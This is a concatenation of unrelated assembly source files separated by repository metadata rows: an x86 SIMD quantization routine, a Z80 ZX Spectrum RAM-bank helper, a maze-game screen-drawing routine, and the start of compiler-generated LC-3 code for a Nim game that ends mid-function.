pmulhw m8, m6, m2 ; m8 = m6*q>>16
punpckhqdq m2, m2
pmulhw m13, m11, m2 ; m13 = m11*q>>16
paddw m8, m6 ; m8 += m6
paddw m13, m11 ; m13 += m11
pmulhw m8, m4 ; m8 = m8*qsh>>16
punpckhqdq m4, m4
pmulhw m13, m4 ; m13 = m13*qsh>>16
psignw m8, m9 ; m8 = reinsert sign
psignw m13, m10 ; m13 = reinsert sign
pand m8, m7
pand m13, m12
%if CONFIG_HIGHBITDEPTH
; store 16bit numbers as 32bit numbers in array pointed to by qcoeff
mova m11, m8
mova m6, m8
pcmpgtw m5, m8
punpcklwd m11, m5
punpckhwd m6, m5
mova [qcoeffq+ncoeffq*4+ 0], m11
mova [qcoeffq+ncoeffq*4+16], m6
pxor m5, m5
mova m11, m13
mova m6, m13
pcmpgtw m5, m13
punpcklwd m11, m5
punpckhwd m6, m5
mova [qcoeffq+ncoeffq*4+32], m11
mova [qcoeffq+ncoeffq*4+48], m6
pxor m5, m5 ; reset m5 to zero register
%else
mova [qcoeffq+ncoeffq*2+ 0], m8
mova [qcoeffq+ncoeffq*2+16], m13
%endif
%ifidn %1, b_32x32
pabsw m8, m8
pabsw m13, m13
%endif
pmullw m8, m3 ; dqc[i] = qc[i] * q
punpckhqdq m3, m3
pmullw m13, m3 ; dqc[i] = qc[i] * q
%ifidn %1, b_32x32
psrlw m8, 1
psrlw m13, 1
psignw m8, m9
psignw m13, m10
%endif
%if CONFIG_HIGHBITDEPTH
; store 16bit numbers as 32bit numbers in array pointed to by qcoeff
mova m11, m8
mova m6, m8
pcmpgtw m5, m8
punpcklwd m11, m5
punpckhwd m6, m5
mova [dqcoeffq+ncoeffq*4+ 0], m11
mova [dqcoeffq+ncoeffq*4+16], m6
pxor m5, m5
mova m11, m13
mova m6, m13
pcmpgtw m5, m13
punpcklwd m11, m5
punpckhwd m6, m5
mova [dqcoeffq+ncoeffq*4+32], m11
mova [dqcoeffq+ncoeffq*4+48], m6
pxor m5, m5 ; reset m5 to zero register
%else
mova [dqcoeffq+ncoeffq*2+ 0], m8
mova [dqcoeffq+ncoeffq*2+16], m13
%endif
pcmpeqw m8, m5 ; m8 = c[i] == 0
pcmpeqw m13, m5 ; m13 = c[i] == 0
mova m6, [ iscanq+ncoeffq*2+ 0] ; m6 = scan[i]
mova m11, [ iscanq+ncoeffq*2+16] ; m11 = scan[i]
psubw m6, m7 ; m6 = scan[i] + 1
psubw m11, m12 ; m11 = scan[i] + 1
pandn m8, m6 ; m8 = max(eob)
pandn m13, m11 ; m13 = max(eob)
pmaxsw m8, m13
add ncoeffq, mmsize
jz .accumulate_eob
.ac_only_loop:
%if CONFIG_HIGHBITDEPTH
; pack coeff from 32bit to 16bit array
mova m9, [ coeffq+ncoeffq*4+ 0]
packssdw m9, [ coeffq+ncoeffq*4+16]
mova m10, [ coeffq+ncoeffq*4+32]
packssdw m10, [ coeffq+ncoeffq*4+48]
%else
mova m9, [ coeffq+ncoeffq*2+ 0] ; m9 = c[i]
mova m10, [ coeffq+ncoeffq*2+16] ; m10 = c[i]
%endif
pabsw m6, m9 ; m6 = abs(m9)
pabsw m11, m10 ; m11 = abs(m10)
pcmpgtw m7, m6, m0 ; m7 = c[i] >= zbin
pcmpgtw m12, m11, m0 ; m12 = c[i] >= zbin
%ifidn %1, b_32x32
pmovmskb r6d, m7
pmovmskb r2d, m12
or r6, r2
jz .skip_iter
%endif
paddsw m6, m1 ; m6 += round
paddsw m11, m1 ; m11 += round
pmulhw m14, m6, m2 ; m14 = m6*q>>16
pmulhw m13, m11, m2 ; m13 = m11*q>>16
paddw m14, m6 ; m14 += m6
paddw m13, m11 ; m13 += m11
pmulhw m14, m4 ; m14 = m14*qsh>>16
pmulhw m13, m4 ; m13 = m13*qsh>>16
psignw m14, m9 ; m14 = reinsert sign
psignw m13, m10 ; m13 = reinsert sign
pand m14, m7
pand m13, m12
%if CONFIG_HIGHBITDEPTH
; store 16bit numbers as 32bit numbers in array pointed to by qcoeff
pxor m11, m11
mova m11, m14
mova m6, m14
pcmpgtw m5, m14
punpcklwd m11, m5
punpckhwd m6, m5
mova [qcoeffq+ncoeffq*4+ 0], m11
mova [qcoeffq+ncoeffq*4+16], m6
pxor m5, m5
mova m11, m13
mova m6, m13
pcmpgtw m5, m13
punpcklwd m11, m5
punpckhwd m6, m5
mova [qcoeffq+ncoeffq*4+32], m11
mova [qcoeffq+ncoeffq*4+48], m6
pxor m5, m5 ; reset m5 to zero register
%else
mova [qcoeffq+ncoeffq*2+ 0], m14
mova [qcoeffq+ncoeffq*2+16], m13
%endif
%ifidn %1, b_32x32
pabsw m14, m14
pabsw m13, m13
%endif
pmullw m14, m3 ; dqc[i] = qc[i] * q
pmullw m13, m3 ; dqc[i] = qc[i] * q
%ifidn %1, b_32x32
psrlw m14, 1
psrlw m13, 1
psignw m14, m9
psignw m13, m10
%endif
%if CONFIG_HIGHBITDEPTH
; store 16bit numbers as 32bit numbers in array pointed to by qcoeff
mova m11, m14
mova m6, m14
pcmpgtw m5, m14
punpcklwd m11, m5
punpckhwd m6, m5
mova [dqcoeffq+ncoeffq*4+ 0], m11
mova [dqcoeffq+ncoeffq*4+16], m6
pxor m5, m5
mova m11, m13
mova m6, m13
pcmpgtw m5, m13
punpcklwd m11, m5
punpckhwd m6, m5
mova [dqcoeffq+ncoeffq*4+32], m11
mova [dqcoeffq+ncoeffq*4+48], m6
pxor m5, m5
%else
mova [dqcoeffq+ncoeffq*2+ 0], m14
mova [dqcoeffq+ncoeffq*2+16], m13
%endif
pcmpeqw m14, m5 ; m14 = c[i] == 0
pcmpeqw m13, m5 ; m13 = c[i] == 0
mova m6, [ iscanq+ncoeffq*2+ 0] ; m6 = scan[i]
mova m11, [ iscanq+ncoeffq*2+16] ; m11 = scan[i]
psubw m6, m7 ; m6 = scan[i] + 1
psubw m11, m12 ; m11 = scan[i] + 1
pandn m14, m6 ; m14 = max(eob)
pandn m13, m11 ; m13 = max(eob)
pmaxsw m8, m14
pmaxsw m8, m13
add ncoeffq, mmsize
jl .ac_only_loop
%ifidn %1, b_32x32
jmp .accumulate_eob
.skip_iter:
%if CONFIG_HIGHBITDEPTH
mova [qcoeffq+ncoeffq*4+ 0], m5
mova [qcoeffq+ncoeffq*4+16], m5
mova [qcoeffq+ncoeffq*4+32], m5
mova [qcoeffq+ncoeffq*4+48], m5
mova [dqcoeffq+ncoeffq*4+ 0], m5
mova [dqcoeffq+ncoeffq*4+16], m5
mova [dqcoeffq+ncoeffq*4+32], m5
mova [dqcoeffq+ncoeffq*4+48], m5
%else
mova [qcoeffq+ncoeffq*2+ 0], m5
mova [qcoeffq+ncoeffq*2+16], m5
mova [dqcoeffq+ncoeffq*2+ 0], m5
mova [dqcoeffq+ncoeffq*2+16], m5
%endif
add ncoeffq, mmsize
jl .ac_only_loop
%endif
.accumulate_eob:
; horizontally accumulate/max eobs and write into [eob] memory pointer
mov r2, eobmp
pshufd m7, m8, 0xe
pmaxsw m8, m7
pshuflw m7, m8, 0xe
pmaxsw m8, m7
pshuflw m7, m8, 0x1
pmaxsw m8, m7
pextrw r6, m8, 0
mov [r2], r6
RET
; skip-block, i.e. just write all zeroes
.blank:
mov r0, dqcoeffmp
movifnidn ncoeffq, ncoeffmp
mov r2, qcoeffmp
mov r3, eobmp
DEFINE_ARGS dqcoeff, ncoeff, qcoeff, eob
%if CONFIG_HIGHBITDEPTH
lea dqcoeffq, [dqcoeffq+ncoeffq*4]
lea qcoeffq, [ qcoeffq+ncoeffq*4]
%else
lea dqcoeffq, [dqcoeffq+ncoeffq*2]
lea qcoeffq, [ qcoeffq+ncoeffq*2]
%endif
neg ncoeffq
pxor m7, m7
.blank_loop:
%if CONFIG_HIGHBITDEPTH
mova [dqcoeffq+ncoeffq*4+ 0], m7
mova [dqcoeffq+ncoeffq*4+16], m7
mova [dqcoeffq+ncoeffq*4+32], m7
mova [dqcoeffq+ncoeffq*4+48], m7
mova [qcoeffq+ncoeffq*4+ 0], m7
mova [qcoeffq+ncoeffq*4+16], m7
mova [qcoeffq+ncoeffq*4+32], m7
mova [qcoeffq+ncoeffq*4+48], m7
%else
mova [dqcoeffq+ncoeffq*2+ 0], m7
mova [dqcoeffq+ncoeffq*2+16], m7
mova [qcoeffq+ncoeffq*2+ 0], m7
mova [qcoeffq+ncoeffq*2+16], m7
%endif
add ncoeffq, mmsize
jl .blank_loop
mov word [eobq], 0
RET
%endmacro
INIT_XMM ssse3
QUANTIZE_FN b, 7
QUANTIZE_FN b_32x32, 7
| 44.125714 | 81 | 0.389666 |
1bb8a9079889981fc15f86bdc270a0304c27101b | 890 | asm | Assembly | rambank.asm | fjpena/zx-multiscroll-demo | 4969dd5e9ea785d5249e5f73859030b33e53885b | [
"Apache-2.0"
] | 7 | 2019-05-28T16:08:21.000Z | 2020-08-29T14:43:15.000Z | rambank.asm | Spirax2/zx-multiscroll-demo | 10d821f7bcc3e1105cc393dab18efb2e652a8420 | [
"Apache-2.0"
] | null | null | null | rambank.asm | Spirax2/zx-multiscroll-demo | 10d821f7bcc3e1105cc393dab18efb2e652a8420 | [
"Apache-2.0"
] | 3 | 2019-06-25T07:50:21.000Z | 2019-08-04T10:51:40.000Z | ; B: new RAM page to put in $C000 - $FFFF
; Assumes interrupts are disabled
setrambank:
ld a, (23388) ;System var with the previous value
and $f8 ;Preserve the high bits
or b ;Set RAM page in B
ld bc, $7ffd ;Port to write to
ld (23388),a ;Update system var
out (c),a ;Go
ret
setrambank_with_di:
di
call setrambank
ei
ret
; Switch the visible screen
; Assumes interrupts are disabled
switchscreen:
ld a,(23388) ;System var with the previous value
xor 8 ;switch screen
ld bc,32765 ;Port to write to
ld (23388),a ;Update system var
out (c),a ;Switch
ret
setscreen0:
ld a,(23388) ;System var with the previous value
and $f7 ; leave bit 3 as 0
ld bc,32765 ;Port to write to
ld (23388),a ;Update system var
out (c),a ;Switch
ret
| 22.820513 | 58 | 0.596629 |
542f24d224b4f21027af92b7b4ae8d060a2cc302 | 24,973 | asm | Assembly | Source Code/maze_part2.asm | Kentindev/Maze-Game | 013d23872c72a53b3e796e6b7e099fef4dbebdd8 | [
"MIT"
] | 1 | 2019-10-23T12:28:27.000Z | 2019-10-23T12:28:27.000Z | Source Code/maze_part2.asm | Kentindev/Maze-Game | 013d23872c72a53b3e796e6b7e099fef4dbebdd8 | [
"MIT"
] | null | null | null | Source Code/maze_part2.asm | Kentindev/Maze-Game | 013d23872c72a53b3e796e6b7e099fef4dbebdd8 | [
"MIT"
] | 1 | 2021-05-27T09:49:19.000Z | 2021-05-27T09:49:19.000Z | draw_OrangeANDGreenzone:
draw_wall1_OrangeANDGreenzone:
mov dh,3
mov dl,61
call SetCursor
PRINT 185
draw_wall1_OrangeANDGreenzone_p1:
sub dl,1
call SetCursor
PRINT 205
cmp dl,51
je draw_wall2_OrangeANDGreenzone
loop draw_wall1_OrangeANDGreenzone_p1
draw_wall2_OrangeANDGreenzone:
mov dh,7
mov dl,61
call SetCursor
PRINT 185
draw_wall2_OrangeANDGreenzone_p1:
sub dl,1
call SetCursor
PRINT 205
cmp dl,56
je draw_wall2_OrangeANDGreenzone_p2
loop draw_wall2_OrangeANDGreenzone_p1
draw_wall2_OrangeANDGreenzone_p2:
sub dl,1
call SetCursor
PRINT 201
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 202
draw_wall2_OrangeANDGreenzone_p3:
sub dl,1
call SetCursor
PRINT 205
draw_wall2_OrangeANDGreenzone_p4:
sub dl,1
call SetCursor
PRINT 205
cmp dl,50
je draw_wall2_OrangeANDGreenzone_p5
loop draw_wall2_OrangeANDGreenzone_p4
draw_wall2_OrangeANDGreenzone_p5:
mov dl,56
call SetCursor
PRINT 205
add dl,1
call SetCursor
PRINT 205
add dl,1
call SetCursor
PRINT 187
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 188
draw_wall2_OrangeANDGreenzone_p6:
sub dl,1
call SetCursor
PRINT 205
cmp dl,43
je draw_wall2_OrangeANDGreenzone_p7
loop draw_wall2_OrangeANDGreenzone_p6
draw_wall2_OrangeANDGreenzone_p7:
mov dl,47
call SetCursor
PRINT 202
draw_wall2_OrangeANDGreenzone_p8:
sub dh,1
call SetCursor
PRINT 186
cmp dh,8
je draw_wall2_OrangeANDGreenzone_p9
loop draw_wall2_OrangeANDGreenzone_p8
draw_wall2_OrangeANDGreenzone_p9:
sub dh,1
call SetCursor
PRINT 201
draw_wall2_OrangeANDGreenzone_p10:
add dl,1
call SetCursor
PRINT 205
cmp dl,52
je draw_wall2_OrangeANDGreenzone_p11
loop draw_wall2_OrangeANDGreenzone_p10
draw_wall2_OrangeANDGreenzone_p11:
mov dh,11
mov dl,52
call SetCursor
PRINT 203
add dh,1
call SetCursor
PRINT 186
draw_wall3_OrangeANDGreenzone_p1:
mov dl,61
mov dh,15
call SetCursor
PRINT 185
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 201
draw_wall3_OrangeANDGreenzone_p2:
add dh,1
call SetCursor
PRINT 186
cmp dh,20
je draw_wall4_OrangeANDGreenzone
loop draw_wall3_OrangeANDGreenzone_p2
draw_wall4_OrangeANDGreenzone:
mov dh,5
mov dl,58
call SetCursor
draw_wall4_OrangeANDGreenzone_p1:
sub dl,1
call SetCursor
PRINT 205
cmp dl,49
je draw_wall4_OrangeANDGreenzone_p3
loop draw_wall4_OrangeANDGreenzone_p1
draw_wall4_OrangeANDGreenzone_p3:
sub dl,1
call SetCursor
PRINT 200
draw_wall4_OrangeANDGreenzone_p4:
sub dh,1
call SetCursor
PRINT 186
cmp dh,1
je draw_wall4_OrangeANDGreenzone_p5
loop draw_wall4_OrangeANDGreenzone_p4
draw_wall4_OrangeANDGreenzone_p5:
sub dh,1
call SetCursor
PRINT 203
draw_wall4_OrangeANDGreenzone_p6:
mov dh,3
call SetCursor
PRINT 185
draw_wall4_OrangeANDGreenzone_p7:
sub dl,1
call SetCursor
PRINT 205
cmp dl,44
je draw_wall5_OrangeANDGreenzone
loop draw_wall4_OrangeANDGreenzone_p7
draw_wall5_OrangeANDGreenzone:
mov dh,13
mov dl,58
call SetCursor
PRINT 205
draw_wall5_OrangeANDGreenzone_p1:
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 201
add dh,1
call SetCursor
PRINT 188
draw_wall5_OrangeANDGreenzone_p2:
sub dl,1
call SetCursor
PRINT 205
cmp dl,50
je draw_wall5_OrangeANDGreenzone_p3
loop draw_wall5_OrangeANDGreenzone_p2
draw_wall5_OrangeANDGreenzone_p3:
sub dl,1
call SetCursor
PRINT 200
sub dh,1
call SetCursor
PRINT 187
draw_wall5_OrangeANDGreenzone_p4:
sub dl,1
call SetCursor
PRINT 205
cmp dl,44
je draw_wall5_OrangeANDGreenzone_p5
loop draw_wall5_OrangeANDGreenzone_p4
draw_wall5_OrangeANDGreenzone_p5:
sub dl,1
call SetCursor
PRINT 201
add dh,1
call SetCursor
PRINT 188
sub dl,1
call SetCursor
PRINT 201
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 202
draw_wall5_OrangeANDGreenzone_p6:
add dl,1
call SetCursor
PRINT 205
cmp dl,54
je draw_wall5_OrangeANDGreenzone_p7
loop draw_wall5_OrangeANDGreenzone_p6
draw_wall5_OrangeANDGreenzone_p7:
add dl,1
call SetCursor
PRINT 187
draw_wall5_OrangeANDGreenzone_p8:
add dh,1
call SetCursor
PRINT 186
cmp dh,21
je draw_wall5_OrangeANDGreenzone_p9
loop draw_wall5_OrangeANDGreenzone_p8
draw_wall5_OrangeANDGreenzone_p9:
add dh,1
call SetCursor
PRINT 202
draw_wall5_OrangeANDGreenzone_p10:
mov dl,46
mov dh,16
call SetCursor
PRINT 206
sub dh,1
call SetCursor
PRINT 186
add dh,1
draw_wall5_OrangeANDGreenzone_p11:
add dh,1
call SetCursor
PRINT 186
cmp dh,19
je draw_wall5_OrangeANDGreenzone_p12
loop draw_wall5_OrangeANDGreenzone_p11
draw_wall5_OrangeANDGreenzone_p12:
add dh,1
call SetCursor
PRINT 200
draw_wall5_OrangeANDGreenzone_p13:
add dl,1
call SetCursor
PRINT 205
cmp dl,51
je draw_wall5_OrangeANDGreenzone_p14
loop draw_wall5_OrangeANDGreenzone_p13
draw_wall5_OrangeANDGreenzone_p14:
add dl,1
call SetCursor
PRINT 188
sub dh,1
call SetCursor
PRINT 186
sub dh,1
call SetCursor
PRINT 187
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
draw_wall5_OrangeANDGreenzone_p15:
mov dl,41
mov dh,16
call SetCursor
PRINT 205
draw_wall5_OrangeANDGreenzone_p16:
sub dl,1
call SetCursor
PRINT 205
cmp dl,38
je draw_wall5_OrangeANDGreenzone_p17
loop draw_wall5_OrangeANDGreenzone_p16
draw_wall5_OrangeANDGreenzone_p17:
sub dl,1
call SetCursor
PRINT 201
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 202
draw_wall5_OrangeANDGreenzone_p18:
sub dl,1
call SetCursor
PRINT 205
cmp dl,31
je draw_wall5_OrangeANDGreenzone_p19
loop draw_wall5_OrangeANDGreenzone_p18
draw_wall5_OrangeANDGreenzone_p19:
sub dl,1
call SetCursor
PRINT 201
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 202
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
mov dl,30
call SetCursor
draw_wall5_OrangeANDGreenzone_p20:
add dl,1
call SetCursor
PRINT 205
cmp dl,35
je draw_wall5_OrangeANDGreenzone_p21
loop draw_wall5_OrangeANDGreenzone_p20
draw_wall5_OrangeANDGreenzone_p21:
mov dl,38
mov dh,18
call SetCursor
PRINT 205
draw_wall5_OrangeANDGreenzone_p22:
add dl,1
call SetCursor
PRINT 205
cmp dl,42
je draw_wall5_OrangeANDGreenzone_p23
loop draw_wall5_OrangeANDGreenzone_p22
draw_wall5_OrangeANDGreenzone_p23:
add dl,1
call SetCursor
PRINT 187
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 186
draw_wall6_OrangeANDGreenzone:
mov dl,38
mov dh,22
call SetCursor
PRINT 202
sub dh,1
call SetCursor
PRINT 186
sub dh,1
call SetCursor
PRINT 201
add dl,1
call SetCursor
PRINT 205
add dl,1
call SetCursor
PRINT 205
draw_wall7_OrangeANDGreenzone:
mov dh,5
mov dl,45
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 201
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 188
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 204
sub dh,1
call SetCursor
PRINT 185
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 200
sub dh,1
call SetCursor
PRINT 201
add dl,1
call SetCursor
PRINT 205
add dl,1
call SetCursor
PRINT 203
add dl,1
call SetCursor
PRINT 188
draw_wall7_OrangeANDGreenzone_p1:
sub dh,1
call SetCursor
PRINT 186
cmp dh,1
je draw_wall7_OrangeANDGreenzone_p2
loop draw_wall7_OrangeANDGreenzone_p1
draw_wall7_OrangeANDGreenzone_p2:
sub dh,1
call SetCursor
PRINT 203
draw_wall7_OrangeANDGreenzone_p3:
mov dh,10
mov dl,40
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 188
sub dl,1
call SetCursor
PRINT 201
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 188
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 200
draw_wall7_OrangeANDGreenzone_p4:
sub dh,1
call SetCursor
PRINT 186
cmp dh,11
je draw_wall7_OrangeANDGreenzone_p5
loop draw_wall7_OrangeANDGreenzone_p4
draw_wall7_OrangeANDGreenzone_p5:
sub dh,1
call SetCursor
PRINT 203
add dl,1
call SetCursor
PRINT 205
sub dl,2
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 200
sub dh,1
call SetCursor
PRINT 186
sub dh,1
call SetCursor
PRINT 203
add dl,1
call SetCursor
PRINT 205
add dl,1
call SetCursor
PRINT 188
sub dh,1
call SetCursor
PRINT 186
sub dh,1
call SetCursor
PRINT 186
sub dh,1
call SetCursor
PRINT 201
add dl,1
call SetCursor
PRINT 205
add dl,1
call SetCursor
PRINT 205
add dl,1
call SetCursor
PRINT 205
draw_wall7_OrangeANDGreenzone_p6:
mov dl,32
mov dh,8
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 200
sub dh,1
call SetCursor
PRINT 185
sub dl,1
call SetCursor
PRINT 202
sub dl,1
call SetCursor
PRINT 200
sub dh,1
call SetCursor
PRINT 204
add dl,1
call SetCursor
PRINT 206
add dl,1
call SetCursor
PRINT 185
sub dh,1
call SetCursor
PRINT 187
sub dl,1
call SetCursor
PRINT 203
sub dl,1
call SetCursor
PRINT 201
draw_wall8_OrangeANDGreenzone:
mov dh,3
mov dl,38
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 200
sub dh,1
call SetCursor
PRINT 186
sub dh,1
call SetCursor
PRINT 186
sub dh,1
call SetCursor
PRINT 203
draw_wall9_OrangeANDGreenzone:
mov dh,6
mov dl,32
call SetCursor
PRINT 186
draw_wall9_OrangeANDGreenzone_p1:
sub dh,1
call SetCursor
PRINT 186
sub dh,1
call SetCursor
PRINT 186
sub dh,1
call SetCursor
PRINT 187
draw_wall9_OrangeANDGreenzone_p2:
sub dl,1
call SetCursor
PRINT 205
cmp dl,25
je draw_wall10_OrangeANDGreenzone
loop draw_wall9_OrangeANDGreenzone_p2
draw_wall10_OrangeANDGreenzone:
mov dh,10
mov dl,27
call SetCursor
PRINT 200
add dl,1
call SetCursor
PRINT 205
add dl,1
call SetCursor
PRINT 205
add dl,1
call SetCursor
PRINT 187
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 204
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 188
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
draw_wall10_OrangeANDGreenzone_p1:
mov dh,12
mov dl,31
call SetCursor
PRINT 205
add dl,1
call SetCursor
PRINT 205
add dl,1
call SetCursor
PRINT 187
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 188
draw_wall10_OrangeANDGreenzone_p2:
sub dl,1
call SetCursor
PRINT 205
cmp dl,27
je draw_wall10_OrangeANDGreenzone_p3
loop draw_wall10_OrangeANDGreenzone_p2
draw_wall10_OrangeANDGreenzone_p3:
sub dl,1
call SetCursor
PRINT 201
add dh,1
call SetCursor
PRINT 186
add dh,1
call SetCursor
PRINT 188
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 204
draw_wall11_OrangeANDGreenzone_p3:
mov dl,27
mov dh,12
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
sub dl,1
call SetCursor
PRINT 205
draw_object_redzone:
draw_redkey:
mov dl,13
mov dh,21
call SetCursor
mov cx, 1 ; nb char
mov bh, 0
mov bl, 0x40 ; color
mov al, 0x20 ; blank char
mov ah, 0x9
int 0x10
mov ah, 02h
mov bh, 00
int 10h
PRINT 216
draw_reddoor:
mov dl,14
mov dh,17
call SetCursor
mov cx, 1 ; nb char
mov bh, 0
mov bl, 0x40 ; color
mov al, 0x20 ; blank char
mov ah, 0x9
int 0x10
mov ah, 02h
mov bh, 00
int 10h
PRINT 177
draw_object_purplezone:
draw_purpledoor:
mov dl,15
mov dh,10
call SetCursor
mov cx, 1 ; nb char
mov bh, 0
mov bl, 0x50 ; color
mov al, 0x20 ; blank char
mov ah, 0x9
int 0x10
mov ah, 02h
mov bh, 00
int 10h
PRINT 177
draw_object_yellowzone:
draw_yellowdoor:
mov dl,24
mov dh,6
call SetCursor
mov cx, 1 ; nb char
mov bh, 0
mov bl, 0x30 ; color
mov al, 0x20 ; blank char
mov ah, 0x9
int 0x10
mov ah, 02h
mov bh, 00
int 10h
PRINT 177
draw_object_OrangeANDGreenzone:
draw_Orangedoor:
mov dl,51
mov dh,19
call SetCursor
mov cx, 1 ; nb char
mov bh, 0
mov bl, 0x60 ; color
mov al, 0x20 ; blank char
mov ah, 0x9
int 0x10
mov ah, 02h
mov bh, 00
int 10h
PRINT 177
draw_Greendoor:
mov dl,60
mov dh,2
call SetCursor
mov cx, 1 ; nb char
mov bh, 0
mov bl, 0x20 ; color
mov al, 0x20 ; blank char
mov ah, 0x9
int 0x10
mov ah, 02h
mov bh, 00
int 10h
PRINT 177
draw_rules:
mov dl,63
mov dh,18
call SetCursor
PRINT ':) -> YOU'
add dh,1
add dl,1
call SetCursor
PRINT 216
add dl,2
call SetCursor
PRINT '-> A KEY'
add dh,1
sub dl,2
call SetCursor
PRINT 177
add dl,2
call SetCursor
PRINT '-> A DOOR'
add dh,1
sub dl,3
call SetCursor
PRINT 'REDkey open'
add dh,1
call SetCursor
PRINT 'REDdoor'
add dh,1
call SetCursor
mov cx, 1 ; nb char
mov bh, 0
mov bl, 0x40 ; color
mov al, 0x20 ; blank char
mov ah, 0x9
int 0x10
mov ah, 02h
mov bh, 00
int 10h
PRINT 216
add dl,2
call SetCursor
PRINT '---->'
add dl,6
call SetCursor
mov cx, 1 ; nb char
mov bh, 0
mov bl, 0x40 ; color
mov al, 0x20 ; blank char
mov ah, 0x9
int 0x10
mov ah, 02h
mov bh, 00
int 10h
PRINT 177
draw_EEguy:
mov dl,19
mov dh,17
call SetCursor
PRINT 001
draw_hero:
mov dl, 2
mov dh, 21
call SetCursor
PRINT ':)'
jmp init_var
| 20.221053 | 51 | 0.420334 |
cfd1d08b8912f3233e788291e88cff47af7beb0c | 25,624 | asm | Assembly | nimlc3.asm | Faldict/Nim-LC3 | 0e0dea472676ddcd8575a16451226e2c197569d9 | [
"MIT"
] | null | null | null | nimlc3.asm | Faldict/Nim-LC3 | 0e0dea472676ddcd8575a16451226e2c197569d9 | [
"MIT"
] | null | null | null | nimlc3.asm | Faldict/Nim-LC3 | 0e0dea472676ddcd8575a16451226e2c197569d9 | [
"MIT"
] | null | null | null | .Orig x3000
INIT_CODE
LEA R6, #-1
ADD R5, R6, #0
ADD R6, R6, R6
ADD R6, R6, R6
ADD R6, R6, R5
ADD R6, R6, #-1
ADD R5, R5, R5
ADD R5, R6, #0
LD R4, GLOBAL_DATA_POINTER
LD R7, GLOBAL_MAIN_POINTER
jsrr R7
HALT
GLOBAL_DATA_POINTER .FILL GLOBAL_DATA_START
GLOBAL_MAIN_POINTER .FILL main
;;;;;;;;;;;;;;;;;;;;;;;;;;;;printInfo;;;;;;;;;;;;;;;;;;;;;;;;;;;;
lc3_printInfo
ADD R6, R6, #-2
STR R7, R6, #0
ADD R6, R6, #-1
STR R5, R6, #0
ADD R5, R6, #-1
ADD R6, R6, #-1
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #14
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R7, R4, #4
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
str R3, R7, #0
ADD R0, R4, #9
LDR R0, R0, #0
JMP R0
lc3_L4_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #11
ldr R7, R7, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #1
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
ADD R7, R4, #4
ldr R3, R7, #0
ADD R2, R4, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
